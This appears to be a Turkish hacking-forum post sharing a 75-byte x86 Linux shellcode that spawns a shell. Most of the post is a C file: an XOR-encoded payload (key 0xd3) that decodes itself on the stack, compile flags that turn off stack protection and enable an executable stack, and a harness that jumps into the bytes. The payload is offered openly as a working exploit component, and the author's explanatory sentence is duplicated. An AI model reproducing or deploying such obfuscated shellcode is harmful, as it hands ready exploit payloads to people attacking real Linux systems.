#Gecmise Donus \w xd3.
Bayt sayisinin bu kadar fazla olmasinin sebebi, yaklasik 1.5 yil once kendimi sinamak amaci ile yazmis olmamdir. En kisa zamanda guncelleyip paylasacagim.
Bayt sayisinin bu kadar fazla olmasinin sebebi, yaklasik 1.5 yil once kendimi sinamak amaci ile yazmis olmamdir. En kisa zamanda guncelleyip paylasacagim.
Kod:
[COLOR=White]
/*
* ::Ex. Bash Spawn Shellcode
* __author__: xd3
* __date__: 15/5/9
* __format__: x86 ELF
* __platform__: x86 Linux
*
*/
/* Usage:
*
* $ sudo gcc -fno-stack-protector -z execstack xd3.c -o xd3
* $ ./xd3
* [~] Byte-Code Len: 75
* bash-3.2$ exit
* $
*/
/* In C:
*
* #include <unistd.h>
* int main() {
* char *argv[2] = {"/bin/sh", NULL};
* execve(argv[0], argv);
* }
*
*/
#include <stdio.h>
#include <string.h>
const unsigned char xd3[] = \
"\x68\x2c\x2c\x43\x43"
"\x68\x53\x3b\x31\x2c"
"\x68\x32\x63\xd8\x1e"
"\x68\x5a\x31\x80\x5a"
"\x68\xbd\x5a\x30\x83"
"\x68\xbb\xfc\xb1\xba"
"\x68\xfc\xfc\xa0\xbb"
"\x68\xe2\x13\x83\xbb"
"\x68\x1e\x53\x38\xca"
"\x68\xe2\x08\xe2\x1a"
"\x68\xe2\x13\x63\x95"
"\x89\xe6\x31\xc9\xb1"
"\x0b\xba\xd3\xd3\xd3"
"\xd3\x31\x16\x83\xc6"
"\x04\xe2\xf9\xff\xe4";
int main(){
printf("[~] Byte-Code Len: %d\n", strlen(xd3));
int (*sh3llc0de)();
sh3llc0de = (int (*)()) xd3;
(int)(*sh3llc0de)();
}
[/COLOR]
Son düzenleme: